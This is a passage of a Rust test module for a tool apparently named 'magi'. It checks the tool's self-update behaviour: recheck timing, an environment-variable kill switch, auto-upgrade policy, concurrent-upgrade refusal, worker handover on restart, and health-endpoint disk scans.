24624            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
24625             one-time startup check"
24626        );
24627
24628        assert!(should_spawn_recheck(&crate::config::Update {
24629            mode: UpdateMode::Notify,
24630            interval: None,
24631            auto_restart: false,
24632        }));
24633    }
24634
24635    /// [`recheck_poll_period`] must track a configured `[update] interval`
24636    /// shorter than its own default ceiling - a fixed sleep here would leave
24637    /// an operator's short interval waiting on the next wake-up instead of on
24638    /// `should_check`, which is the same bug this whole task exists to fix,
24639    /// just one level down.
24640    #[test]
24641    fn recheck_poll_period_tracks_a_short_configured_interval() {
24642        let short = crate::config::Update {
24643            mode: UpdateMode::Notify,
24644            interval: Some("1m".to_owned()),
24645            auto_restart: false,
24646        };
24647        let period = recheck_poll_period(&short);
24648        assert!(
24649            period <= Duration::from_secs(30),
24650            "a one-minute interval must wake the task far sooner than the \
24651             default ceiling, or the deck would not notice within the \
24652             interval the operator configured: got {period:?}"
24653        );
24654
24655        let default = crate::config::Update {
24656            mode: UpdateMode::Notify,
24657            interval: None,
24658            auto_restart: false,
24659        };
24660        assert_eq!(
24661            recheck_poll_period(&default),
24662            UPDATE_RECHECK_POLL_MAX,
24663            "the default day-long interval should poll at the (capped) \
24664             ceiling rather than needlessly often"
24665        );
24666    }
24667
24668    /// [`update_recheck_due`] must not repeat a check made moments ago, the
24669    /// same throttle `updater::Checker::should_check` already gives the
24670    /// CLI's notify mode. Built over an explicit state file via
24671    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
24672    /// write the operator's real `last_update_check.json` - and therefore
24673    /// cannot flake on whatever that file happens to say on the machine
24674    /// running the test.
24675    #[test]
24676    fn recheck_skips_the_network_before_the_interval_elapses() {
24677        let dir = TempDir::new().expect("temp dir");
24678        let path = dir.path().join("state.json");
24679        let state = kaishin::UpdateCheckState {
24680            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
24681            last_known_latest: None,
24682            last_known_url: None,
24683        };
24684        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
24685
24686        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
24687        assert!(
24688            !update_recheck_due(&checker, None),
24689            "a check made moments ago must not be repeated before the \
24690             configured interval elapses"
24691        );
24692    }
24693
24694    /// An upgrade this deck already started must not be raced by a recheck
24695    /// that discovers a newer release mid-install - regardless of what
24696    /// `should_check` says, which is why the state file here is missing
24697    /// entirely: read alone, that alone would answer "never checked, go
24698    /// ahead".
24699    #[test]
24700    fn recheck_defers_to_an_upgrade_already_in_flight() {
24701        let dir = TempDir::new().expect("temp dir");
24702        let path = dir.path().join("state.json");
24703        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
24704        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
24705
24706        assert!(
24707            !update_recheck_due(&checker, Some(&progress)),
24708            "a recheck must not run while an upgrade this deck started is \
24709             still moving"
24710        );
24711    }
24712
24713    #[tokio::test]
24714    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
24715        // The same env var the background check honours (`disabled_by_env`)
24716        // must also stop a button press before it ever calls
24717        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
24718        // means "never contact GitHub from this process", and a tap on the
24719        // upgrade button must not override that any more than a broken
24720        // `magi.toml` may. Left unset, this fixture's default config would
24721        // otherwise reach a real, unauthenticated GitHub call.
24722        //
24723        // SAFETY: single-threaded as far as this variable goes - nothing else
24724        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
24725        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
24726        unsafe {
24727            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
24728        }
24729        let fx = Fixture::start().await;
24730        let res = fx.post("/api/upgrade", None).await;
24731        unsafe {
24732            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
24733        }
24734        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
24735        let body = res.json();
24736        assert!(body["to"].is_null(), "there was no release to move to");
24737        assert!(body["parked"].is_null(), "and nothing was parked");
24738        assert!(
24739            body["detail"]
24740                .as_str()
24741                .unwrap()
24742                .contains("disabled by MAGI_NO_AUTOUPDATE"),
24743            "{body:?}"
24744        );
24745    }
24746
24747    #[test]
24748    fn auto_upgrade_decision_respects_policy_and_failed_tags() {
24749        use AutoUpgradeDecision::{Skip, Trigger};
24750        let mut cfg = Update::default();
24751        assert!(matches!(
24752            auto_upgrade_decision(&cfg, false, false, "v2", None),
24753            Skip(_)
24754        ));
24755        cfg.auto_restart = true;
24756        assert_eq!(
24757            auto_upgrade_decision(&cfg, false, false, "v2", None),
24758            Trigger
24759        );
24760        for (disabled, moving, failed) in [
24761            (true, false, None),
24762            (false, true, None),
24763            (false, false, Some("v2")),
24764        ] {
24765            assert!(matches!(
24766                auto_upgrade_decision(&cfg, disabled, moving, "v2", failed),
24767                Skip(_)
24768            ));
24769        }
24770        assert_eq!(
24771            auto_upgrade_decision(&cfg, false, false, "v3", Some("v2")),
24772            Trigger
24773        );
24774        cfg.mode = UpdateMode::Off;
24775        assert!(matches!(
24776            auto_upgrade_decision(&cfg, false, false, "v2", None),
24777            Skip(_)
24778        ));
24779    }
24780
24781    fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
24782        Box::pin(async { anyhow::bail!("test installer failed") })
24783    }
24784
24785    static TEST_AUTO_HANDOVERS: std::sync::LazyLock<Mutex<HashMap<PathBuf, Arc<Notify>>>> =
24786        std::sync::LazyLock::new(Mutex::default);
24787
24788    fn test_replace_and_signal_handover(
24789        home: PathBuf,
24790    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
24791        Box::pin(async move {
24792            if let Some(mut progress) = updater::read_progress(&home) {
24793                progress.advance(updater::Stage::Replaced);
24794                updater::write_progress_logged(&home, &progress);
24795            }
24796            if let Some(signal) = TEST_AUTO_HANDOVERS
24797                .lock()
24798                .unwrap_or_else(PoisonError::into_inner)
24799                .remove(&home)
24800            {
24801                signal.notify_one();
24802            }
24803            Ok(())
24804        })
24805    }
24806
24807    #[tokio::test]
24808    async fn auto_upgrade_guards_opt_in_legacy_concurrency_and_failed_tags() {
24809        let home = TempDir::new().unwrap();
24810        let mut ui = idle_ui(&home);
24811        ui.repo = home.path().to_path_buf();
24812        // Every successful trigger in this test uses this seam, never the installer.
24813        ui.upgrade_runner = fail_test_upgrade;
24814        let ui = Arc::new(ui);
24815        let latest = |tag: &str| {
24816            Some(kaishin::LatestRelease {
24817                tag_name: tag.into(),
24818                html_url: String::new(),
24819            })
24820        };
24821
24822        // Opt-in default (`auto_restart = false`) does nothing.
24823        assert_eq!(
24824            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24825                .await
24826                .status(),
24827            StatusCode::NO_CONTENT
24828        );
24829        assert!(updater::read_progress(home.path()).is_none());
24830
24831        // `mode = "off"` disables automatic updates even when `auto_restart = true`.
24832        std::fs::write(
24833            home.path().join("magi.toml"),
24834            "[update]\nmode = \"off\"\nauto_restart = true\n",
24835        )
24836        .unwrap();
24837        assert_eq!(
24838            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24839                .await
24840                .status(),
24841            StatusCode::NO_CONTENT
24842        );
24843        assert!(updater::read_progress(home.path()).is_none());
24844
24845        std::fs::write(
24846            home.path().join("magi.toml"),
24847            "[update]\nauto_restart = true\n",
24848        )
24849        .unwrap();
24850
24851        // Missing detected release skips without re-querying.
24852        assert_eq!(
24853            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, None)
24854                .await
24855                .status(),
24856            StatusCode::NO_CONTENT
24857        );
24858        assert!(updater::read_progress(home.path()).is_none());
24859
24860        // Legacy embedded scheduler is still refused.
24861        let legacy_pid = std::process::id().wrapping_add(1).max(1);
24862        std::fs::write(
24863            home.path().join("daemon.json"),
24864            serde_json::json!({
24865                "schema": 2,
24866                "pid": legacy_pid,
24867                "updated_at": Timestamp::now().to_string(),
24868                "idle": true,
24869            })
24870            .to_string(),
24871        )
24872        .unwrap();
24873        assert_eq!(
24874            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24875                .await
24876                .status(),
24877            StatusCode::CONFLICT
24878        );
24879        assert!(updater::read_progress(home.path()).is_none());
24880        std::fs::remove_file(home.path().join("daemon.json")).unwrap();
24881
24882        // Concurrent upgrade guard refuses while the request gate is held.
24883        let gate = ui.upgrade_gate.lock().await;
24884        assert_eq!(
24885            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24886                .await
24887                .status(),
24888            StatusCode::CONFLICT
24889        );
24890        drop(gate);
24891
24892        // Active chat turns no longer defer automatic upgrades.
24893        ui.talk_turns.lock().unwrap().live.insert("busy".into());
24894        assert_eq!(
24895            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24896                .await
24897                .status(),
24898            StatusCode::ACCEPTED
24899        );
24900        let progress = updater::read_progress(home.path()).unwrap();
24901        assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
24902        assert_eq!(progress.stage, updater::Stage::Downloading);
24903        assert_eq!(
24904            begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None)
24905                .await
24906                .status(),
24907            StatusCode::CONFLICT
24908        );
24909        assert!(progress.parked_run.is_none());
24910        assert!(ui.start_detached_loop().await.is_err());
24911        assert!(ui.start_loop(None).is_err());
24912        assert!(ui.begin_resume("late").is_err());
24913        assert_eq!(
24914            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24915                .await
24916                .status(),
24917            StatusCode::NO_CONTENT
24918        );
24919        tokio::time::timeout(Duration::from_secs(2), async {
24920            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
24921                tokio::task::yield_now().await;
24922            }
24923        })
24924        .await
24925        .unwrap();
24926        let progress = updater::read_progress(home.path()).unwrap();
24927        assert_eq!(progress.stage, updater::Stage::Failed);
24928
24929        // Same-release failure is suppressed for automatic retries.
24930        assert_eq!(
24931            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24932                .await
24933                .status(),
24934            StatusCode::NO_CONTENT
24935        );
24936
24937        // Manual retry still uses the shared path for the same tag.
24938        let result = upgrade_checked(&ui, "old".into(), Ok(latest("v999.0.0")));
24939        assert_eq!(
24940            finish_upgrade_request(&ui, result).status(),
24941            StatusCode::ACCEPTED
24942        );
24943        assert_eq!(
24944            updater::read_progress(home.path()).unwrap().trigger,
24945            updater::UpgradeTrigger::Manual
24946        );
24947        tokio::time::timeout(Duration::from_secs(2), async {
24948            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
24949                tokio::task::yield_now().await;
24950            }
24951        })
24952        .await
24953        .unwrap();
24954
24955        // A newer release tag clears suppression for automatic updates.
24956        assert_eq!(
24957            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.1"))
24958                .await
24959                .status(),
24960            StatusCode::ACCEPTED
24961        );
24962        assert_eq!(
24963            updater::read_progress(home.path()).unwrap().trigger,
24964            updater::UpgradeTrigger::Auto
24965        );
24966        tokio::time::timeout(Duration::from_secs(2), async {
24967            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
24968                tokio::task::yield_now().await;
24969            }
24970        })
24971        .await
24972        .unwrap();
24973    }
24974
24975    #[tokio::test]
24976    async fn auto_upgrade_hands_over_without_waiting_for_active_task_chat_or_service_workers() {
24977        let home = TempDir::new().unwrap();
24978        std::fs::write(
24979            home.path().join("magi.toml"),
24980            "[update]\nauto_restart = true\n",
24981        )
24982        .unwrap();
24983        let mut ui = idle_ui(&home);
24984        ui.repo = home.path().to_path_buf();
24985        ui.upgrade_runner = test_replace_and_signal_handover;
24986        let ui = Arc::new(ui);
24987
24988        let workers = [
24989            ("111111", 1_u64, "task", "task:active-task", 41_001_u32),
24990            ("222222", 2_u64, "chat", "chat:active-chat", 41_002_u32),
24991            (
24992                "333333",
24993                3_u64,
24994                "daemon-service",
24995                "service:maintenance",
24996                41_003_u32,
24997            ),
24998        ];
24999        let mut exec_leases = Vec::new();
25000        for (id, sequence, kind, key, pid) in workers {
25001            let dir = home.path().join("workers/jobs").join(id);
25002            std::fs::create_dir_all(&dir).unwrap();
25003            let payload = if kind == "chat" {
25004                serde_json::json!({ "talk": "active-chat" })
25005            } else {
25006                serde_json::json!({})
25007            };
25008            let job = crate::worker::Job {
25009                id: id.into(),
25010                sequence,
25011                kind: kind.into(),
25012                key: key.into(),
25013                payload,
25014                generation: "gen-old".into(),
25015                version: Some("0.1.0".into()),
25016                status: crate::worker::Status::Running,
25017                result: None,
25018                pid: Some(pid),
25019                created_at: 1,
25020                finished_at: None,
25021            };
25022            std::fs::write(dir.join("job.json"), serde_json::to_vec(&job).unwrap()).unwrap();
25023            exec_leases.push(crate::worker::execution_lease_for_test(
25024                &dir.join("live.lock"),
25025            ));
25026        }
25027        let task_lease = crate::worker::try_lease(home.path(), "task:active-task")
25028            .unwrap()
25029            .expect("free task lease");
25030        let chat_lease = crate::worker::try_lease(home.path(), "chat:active-chat")
25031            .unwrap()
25032            .expect("free chat worker lease");
25033        let service_lease = crate::worker::try_lease(home.path(), "service:maintenance")
25034            .unwrap()
25035            .expect("free service lease");
25036        let chat_turn = ui
25037            .begin_talk_turn("active-chat-turn")
25038            .expect("claim chat turn")
25039            .expect("free chat turn");
25040        assert_eq!(crate::worker::observe_active(home.path()).unwrap().len(), 3);
25041
25042        // An unreadable reservation must defer replacement, not look like an
25043        // idle scheduler. Once repaired, the same release can still proceed.
25044        let corrupt = home.path().join("workers/jobs/444444");
25045        std::fs::create_dir_all(&corrupt).unwrap();
25046        std::fs::write(corrupt.join("job.json"), "{").unwrap();
25047        let latest = || {
25048            Some(kaishin::LatestRelease {
25049                tag_name: "v999.0.0".into(),
25050                html_url: String::new(),
25051            })
25052        };
25053        let refused = begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest()).await;
25054        assert_eq!(refused.status(), StatusCode::INTERNAL_SERVER_ERROR);
25055        assert!(updater::read_progress(home.path()).is_none());
25056        std::fs::remove_dir_all(corrupt).unwrap();
25057
25058        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
25059            .await
25060            .expect("bind loopback");
25061        let address = listener.local_addr().expect("address");
25062        let served =
25063            tokio::spawn(axum::serve(listener, Arc::clone(&ui).shared_router()).into_future());
25064
25065        let handover_signal = Arc::new(Notify::new());
25066        TEST_AUTO_HANDOVERS
25067            .lock()
25068            .unwrap_or_else(PoisonError::into_inner)
25069            .insert(home.path().to_path_buf(), Arc::clone(&handover_signal));
25070
25071        let admission = ui.begin_admission().expect("admit");
25072        let response = begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest()).await;
25073        assert_eq!(response.status(), StatusCode::ACCEPTED);
25074        tokio::time::timeout(Duration::from_secs(2), handover_signal.notified())
25075            .await
25076            .expect("auto upgrade runner must reach handover");
25077        let replaced = updater::read_progress(home.path()).unwrap();
25078        assert_eq!(replaced.trigger, updater::UpgradeTrigger::Auto);
25079        assert_eq!(replaced.stage, updater::Stage::Replaced);
25080
25081        let successor_started = std::sync::atomic::AtomicBool::new(false);
25082        let handover = hand_over(home.path(), &ui.admissions, served, || {
25083            successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
25084            Ok(1)
25085        });
25086        tokio::pin!(handover);
25087        // Short admission drain still waits for an in-flight persistence/reservation guard.
25088        std::future::poll_fn(|cx| {
25089            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
25090            std::task::Poll::Ready(())
25091        })
25092        .await;
25093        assert!(!successor_started.load(std::sync::atomic::Ordering::SeqCst));
25094        assert!(ui.begin_admission().is_err());
25095
25096        drop(admission);
25097        tokio::time::timeout(Duration::from_secs(2), handover)
25098            .await
25099            .expect("automatic handover must not wait for active workers")
25100            .expect("handover");
25101        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
25102
25103        let successor = bind_waiting(address)
25104            .await
25105            .expect("successor binds released address");
25106        assert_eq!(successor.local_addr().unwrap(), address);
25107
25108        let restarting = updater::read_progress(home.path()).unwrap();
25109        assert_eq!(restarting.trigger, updater::UpgradeTrigger::Auto);
25110        assert_eq!(restarting.stage, updater::Stage::Restarting);
25111        assert!(restarting.parked_run.is_none());
25112        assert!(restarting.parked_talks.is_empty());
25113
25114        let active_after = crate::worker::observe_active(home.path()).unwrap();
25115        assert_eq!(active_after.len(), 3);
25116        for (id, _, kind, key, pid) in workers {
25117            let job = active_after
25118                .iter()
25119                .find(|job| job.id == id)
25120                .unwrap_or_else(|| panic!("worker {id} must survive handover"));
25121            assert_eq!(job.kind, kind);
25122            assert_eq!(job.pid, Some(pid));
25123            assert_eq!(job.generation, "gen-old");
25124            assert_eq!(job.status, crate::worker::Status::Running);
25125            assert!(
25126                crate::worker::control(home.path(), key).unwrap().is_none(),
25127                "no park/stop control may be requested for {key}"
25128            );
25129        }
25130        assert!(
25131            !home.path().join("worker-parks").exists(),
25132            "automatic handover must never request worker parks"
25133        );
25134        assert!(chat_turn.owns(), "chat lease survives automatic handover");
25135        assert!(
25136            crate::worker::try_lease(home.path(), "task:active-task")
25137                .unwrap()
25138                .is_none()
25139        );
25140        assert!(
25141            crate::worker::try_lease(home.path(), "chat:active-chat")
25142                .unwrap()
25143                .is_none()
25144        );
25145        assert!(
25146            crate::worker::try_lease(home.path(), "service:maintenance")
25147                .unwrap()
25148                .is_none()
25149        );
25150
25151        let log = std::fs::read_to_string(updater::log_path(home.path())).unwrap_or_default();
25152        assert!(
25153            log.contains("auto-upgrade: beginning update and restart"),
25154            "{log}"
25155        );
25156        assert!(!log.contains("waiting for idle"), "{log}");
25157        assert!(!log.contains("idle;"), "{log}");
25158
25159        drop(successor);
25160        drop(chat_turn);
25161        drop(service_lease);
25162        drop(chat_lease);
25163        drop(task_lease);
25164        drop(exec_leases);
25165    }
25166
25167    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
25168        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
25169        p.stage = stage;
25170        p
25171    }
25172
25173    #[test]
25174    fn busy_stages_match_the_ui_set() {
25175        use crate::updater::Stage;
25176        assert!(APP_JS.contains(
25177            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
25178        ));
25179        for s in [
25180            Stage::Downloading,
25181            Stage::Replaced,
25182            Stage::Parking,
25183            Stage::Restarting,
25184        ] {
25185            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
25186        }
25187        for s in [Stage::Done, Stage::Failed] {
25188            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
25189        }
25190        assert!(upgrade_in_motion(None).is_none());
25191    }
25192
25193    #[tokio::test]
25194    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
25195        use crate::updater::Stage;
25196        for stage in [
25197            Stage::Downloading,
25198            Stage::Replaced,
25199            Stage::Parking,
25200            Stage::Restarting,
25201        ] {
25202            let fx = Fixture::start().await;
25203            let seeded = seeded_progress(stage);
25204            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
25205            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
25206                .expect("read");
25207
25208            let res = fx.post("/api/upgrade", None).await;
25209            assert_eq!(res.status, 409, "{stage:?}");
25210            let err = res.json()["error"].as_str().unwrap().to_owned();
25211            assert!(err.contains("already in progress"), "{err}");
25212            assert!(err.contains(stage.as_str()), "{err}");
25213
25214            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
25215                .expect("read");
25216            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
25217            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
25218                .unwrap_or_default();
25219            assert!(!log.contains("signalling HANDOVER"), "{log}");
25220        }
25221    }
25222
25223    #[test]
25224    fn upgrade_retry_timing_only_parses_known_diagnostics() {
25225        assert_eq!(
25226            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
25227            Some(3723)
25228        );
25229        assert_eq!(
25230            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
25231            Some(60)
25232        );
25233        assert_eq!(
25234            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
25235            Some(0)
25236        );
25237        for message in [
25238            "permission denied",
25239            "GitHub API rate limit exceeded",
25240            "GitHub rate limit (resets in unknown)",
25241            "GitHub rate limit (resets in 18446744073709551615d)",
25242        ] {
25243            assert_eq!(upgrade_retry_after(message), None, "{message}");
25244        }
25245    }
25246
25247    #[tokio::test]
25248    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
25249        let home = TempDir::new().unwrap();
25250        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
25251        ui.start_loop(None).unwrap();
25252        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
25253        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
25254        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
25255        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
25256        let response = finish_upgrade_request(&ui, result);
25257        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
25258        assert_eq!(response.headers()["retry-after"], "120");
25259        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
25260            .await
25261            .unwrap();
25262        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
25263        assert!(body["error"].as_str().unwrap().contains(reason));
25264        assert_eq!(body["retry_after_secs"], 120);
25265        assert!(body["retry_at"].as_u64().is_some());
25266        for _ in 0..2 {
25267            let view = health(State(ui.clone())).await.unwrap().0;
25268            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
25269            assert_eq!(failure, body);
25270        }
25271        assert_eq!(
25272            std::fs::read(updater::progress_path(home.path())).unwrap(),
25273            before
25274        );
25275        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
25276        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
25277        // A conflicting request must not erase the actionable earlier failure.
25278        let gate = ui.upgrade_gate.lock().await;
25279        assert_eq!(
25280            upgrade_post(State(ui.clone())).await.status(),
25281            StatusCode::CONFLICT
25282        );
25283        drop(gate);
25284        assert!(
25285            health(State(ui.clone()))
25286                .await
25287                .unwrap()
25288                .0
25289                .upgrade_request_error
25290                .is_some()
25291        );
25292        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
25293        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
25294        assert!(
25295            health(State(ui.clone()))
25296                .await
25297                .unwrap()
25298                .0
25299                .upgrade_request_error
25300                .is_none()
25301        );
25302        let live = ui.lock_loop().live.take().unwrap();
25303        live.stop.stop();
25304        live.handle.await.unwrap();
25305    }
25306
25307    #[tokio::test]
25308    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
25309        use crate::updater::Stage;
25310        let repo = TempDir::new().expect("repo dir");
25311        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
25312            .expect("write magi.toml");
25313        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
25314        for stage in [Stage::Done, Stage::Failed] {
25315            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
25316            let res = fx.post("/api/upgrade", None).await;
25317            assert_eq!(res.status, 200, "{stage:?}");
25318        }
25319        // No record at all, and the gate was released by the earlier calls.
25320        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
25321        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
25322    }
25323
25324    #[tokio::test]
25325    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
25326        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
25327        // and the route answers from its own logic.
25328        //
25329        // This test used to lean on the fixture's placeholder repo failing
25330        // config discovery, which left `mode = "notify"` - and a live,
25331        // unauthenticated call to the GitHub releases API inside a unit test.
25332        // GitHub allows 60 of those an hour per address, so the suite went red
25333        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
25334        // long as somebody kept re-running it: every attempt spent another
25335        // request. Six reruns across four pull requests were charged to that
25336        // before it was read as a rate limit rather than a flake.
25337        //
25338        // What the assertion is about is the "already current" branch, which
25339        // is reached by there being no newer release *or* nowhere to look. The
25340        // second one needs no network and cannot be rate limited.
25341        let repo = TempDir::new().expect("repo dir");
25342        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
25343            .expect("write magi.toml");
25344        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
25345
25346        // It must answer 200 and leave the process alone: restarting for an
25347        // upgrade that did not happen parks the run in flight and drops every
25348        // connection to pay for nothing. A probe against a deck already on the
25349        // newest build did exactly that, which is how this case got its own
25350        // branch.
25351        let res = fx.post("/api/upgrade", None).await;
25352        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
25353        let body = res.json();
25354        assert!(body["to"].is_null(), "there was no release to move to");
25355        assert!(body["parked"].is_null(), "and nothing was parked");
25356        assert!(
25357            body["detail"]
25358                .as_str()
25359                .unwrap()
25360                .contains("nothing restarted"),
25361            "{body:?}"
25362        );
25363    }
25364
25365    async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
25366        tokio::time::timeout(Duration::from_secs(5), async {
25367            while state.lock().unwrap().in_flight {
25368                tokio::task::yield_now().await;
25369            }
25370        })
25371        .await
25372        .expect("capacity scan finished");
25373    }
25374
25375    fn disk_test_scope(home: &FsPath) -> DiskScope {
25376        DiskScope {
25377            runs: home.join("runs"),
25378            worktrees: home.join("worktrees"),
25379            cache: Some(home.join("cache")),
25380        }
25381    }
25382
25383    fn known_disk_capacity() -> DiskCapacity {
25384        DiskCapacity {
25385            free_bytes: Some(100),
25386            runs_bytes: Some(200),
25387            worktrees_bytes: Some(300),
25388            cache_bytes: Some(400),
25389        }
25390    }
25391
25392    #[tokio::test]
25393    async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
25394        let home = TempDir::new().unwrap();
25395        std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
25396        let mut ui = delta_test_ui(home.path());
25397        let state = Arc::get_mut(&mut ui).unwrap();
25398        state.repo = home.path().to_owned();
25399        state.worktrees_root = home.path().join("worktrees");
25400        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
25401        ui.monitor
25402            .worker_started
25403            .store(true, std::sync::atomic::Ordering::SeqCst);
25404        let cfg = deputy_config(&ui.repo);
25405        let scope = DiskScope::of(&ui, cfg.as_ref());
25406        let (started, reached) = tokio::sync::oneshot::channel();
25407        let (release, blocked) = std::sync::mpsc::channel();
25408        let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
25409            started.send(()).unwrap();
25410            // A failed request assertion must also let the blocking worker exit.
25411            let _ = blocked.recv();
25412            known_disk_capacity()
25413        });
25414        assert!(cold.runs_bytes.is_none());
25415        tokio::time::timeout(Duration::from_secs(5), reached)
25416            .await
25417            .unwrap()
25418            .unwrap();
25419
25420        let requests: Vec<_> = (0..4)
25421            .map(|_| {
25422                let ui = ui.clone();
25423                tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
25424            })
25425            .collect();
25426        // This is a causal independence check, not a five-second latency
25427        // benchmark. Leave room for unrelated filesystem/thread contention
25428        // when the entire unit suite runs concurrently.
25429        let completed = tokio::time::timeout(Duration::from_secs(60), async {
25430            for request in requests {
25431                let view = request.await.unwrap();
25432                let disk = serde_json::to_value(view.disk).unwrap();
25433                assert!(disk["runs_bytes"].is_null());
25434                assert!(disk["worktrees_bytes"].is_null());
25435                // Free space is a cheap live observation even while the
25436                // recursive capacity measurement remains blocked.
25437                assert!(disk["free_bytes"].is_u64());
25438            }
25439        })
25440        .await;
25441        if completed.is_err() {
25442            release.send(()).unwrap();
25443            wait_for_disk_scan(&ui.monitor.disk).await;
25444            panic!("health must return while the measurement is causally blocked");
25445        }
25446        assert!(ui.monitor.disk.lock().unwrap().in_flight);
25447        // No competing worker can have published while the first holds flight.
25448        assert!(
25449            ui.monitor
25450                .disk
25451                .lock()
25452                .unwrap()
25453                .capacity
25454                .runs_bytes
25455                .is_none()
25456        );
25457        release.send(()).unwrap();
25458        wait_for_disk_scan(&ui.monitor.disk).await;
25459        assert_eq!(
25460            ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
25461            Some(200)
25462        );
25463    }
25464
25465    #[tokio::test]
25466    async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
25467        let home = TempDir::new().unwrap();
25468        let scope = disk_test_scope(home.path());
25469        let state = Arc::new(Mutex::new(DiskObservation {
25470            scope: Some(scope.clone()),
25471            capacity: known_disk_capacity(),
25472            finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
25473            ..Default::default()
25474        }));
25475        let (started, reached) = tokio::sync::oneshot::channel();
25476        let (release, blocked) = std::sync::mpsc::channel();
25477        let before = DiskObservation::observe(&state, scope.clone(), move |_| {
25478            started.send(()).unwrap();
25479            blocked.recv().unwrap();
25480            DiskCapacity {
25481                runs_bytes: Some(250),
25482                ..Default::default()
25483            }
25484        });
25485        assert_eq!(before.cache_bytes, Some(400));
25486        tokio::time::timeout(Duration::from_secs(5), reached)
25487            .await
25488            .unwrap()
25489            .unwrap();
25490        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
25491        for _ in 0..4 {
25492            let scans = duplicate_scans.clone();
